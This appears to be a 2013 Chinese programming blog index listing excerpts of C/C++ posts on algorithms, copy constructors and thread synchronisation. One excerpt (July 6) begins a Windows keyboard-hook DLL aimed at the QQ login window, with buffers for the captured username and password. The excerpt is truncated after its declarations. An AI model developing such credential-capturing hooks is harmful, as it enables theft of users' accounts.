2013年7月18日

摘要: 思路对于一个数N,N的最高位数值为T,N长度为L ,那么我们可以吧N分为两个部分 ,令M=N-T*10^(L-1)+1, 分割为[0,M-1] 和 [M,A]两个部分,第一个部分可以用递归来求解,第二个部分要计算了, 首先我们知道 000~999当中存在一的个数为 10^(L-1)*L,L为999的位长度, 那么就可以通过此来计算[M,A]中有多少个1了#include#include#includeusing namespace std;int fun(int n){ //cout<<n<<endl; int L=0,T,a,M,sum; a=n; while(a!= 阅读全文
posted @ 2013-07-18 11:20 dyc0113 阅读(489) 评论(0) 推荐(0) 编辑
摘要: void Reverse(char *p,char *q){ while(p<q) { swap(*p,*q); p++; q--; }}void main(){ char s[]="i come from tianjin."; char *p=s,*q=s+strlen(s)-1; Reverse(p,q); p=s; q=s; while(true) { if(*q==' ') { Reverse(p,q-1); p=... 阅读全文
posted @ 2013-07-18 10:40 dyc0113 阅读(1325) 评论(0) 推荐(0) 编辑

2013年7月16日

摘要: class A{public: A() { cout<<"普通构造函数"<<endl; } A(const A& a) { cout<<"copy construct"<<endl; } ~A() { cout<<"deconstruct"<<endl; } A& operator=(const A &a) { cout<<"复制操作符"<<endl; return *this; }};A fA( 阅读全文
posted @ 2013-07-16 10:12 dyc0113 阅读(163) 评论(0) 推荐(0) 编辑

2013年7月6日

摘要: #includeHWND hQQLandDlg=NULL;HWND hUserNameEdit=NULL;HWND hPasswordComboBox=NULL;HWND hButton=NULL;HHOOK hKeyboard=NULL;HHOOK hWndProc=NULL;HINSTANCE hHookDll;char szPassword[128];char szUserName[128];int pszPasswordLen;LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam );LRESUL 阅读全文
posted @ 2013-07-06 09:35 dyc0113 阅读(172) 评论(0) 推荐(0) 编辑

2013年7月5日

摘要: #include#include#include#include#include"printBinaryTreeInLevel.h"#include#include#include#include#includeusing namespace std;int n=0;int turn;int instrest[2];void thread1(){ /*while(true) // 软件方法实现临界区的代码 { turn=0; instrest[0]=1; while(turn==0&&instrest[1]==1); cout<<"th 阅读全文
posted @ 2013-07-05 17:18 dyc0113 阅读(705) 评论(0) 推荐(0) 编辑

2013年6月20日

摘要: 在一个长度为n的整形数组a里,除了三个数字只出现一次外,其他的数字都出现了2次。请写程序输出任意一个只出现一次的数字,程序时间和空间复杂度越小越好。例如: a = {1,3,7,9,5,9,4,3,6,1,7},输出4或5或6C/C++:理解: 在这里找出出现一次的数是根据flips=lowbit(a^b)^lowbit(a^c)^lowbit(b^c),这是为什么呢,我们可以用图形化的方式来理解这个问题。// lowbit表示的是某个数从右往左扫描第一次出现1的位置int lowbit(int x){ return x&~(x-1);}void find(int* a , int n 阅读全文
posted @ 2013-06-20 10:25 dyc0113 阅读(500) 评论(0) 推荐(0) 编辑

2013年6月12日

摘要: /* 求最大子数组和(编程之美2.14) **author: DongChong **date :2013.6.12 最简单的方法是采用编程珠玑上的扫描算法,但是别忘了判断 数组当中都是负数的情况了。*/#include <iostream>using namespace std;int main(){ int a[]={-1,-2,-3,-10,-4,-7,-2,-5}; int i=0; int sum=0; int max=0; int start=0; int maxStart=0,maxEnd=0; for(i=0;i<sizeof(a)/... 阅读全文
posted @ 2013-06-12 17:11 dyc0113 阅读(120) 评论(0) 推荐(0) 编辑

2013年3月25日

摘要: 对于两个节点的最低父节点的定义可以分为两种情况(1)像5和8最低公共父节点是3,两节点之间不存在父子关系(2)两节点存在父子关系,如5和4,最低公共父节点是5。引用维基百科的话:Thelowest common ancestor(LCA) is a concept ingraph theoryandcomputer science. LetTbe a rootedtreewithnnodes. The lowest common ancestor between two nodesvandwis defined as the lowest node inTthat has bothvandwa 阅读全文
posted @ 2013-03-25 00:20 dyc0113 阅读(190) 评论(0) 推荐(0) 编辑

导航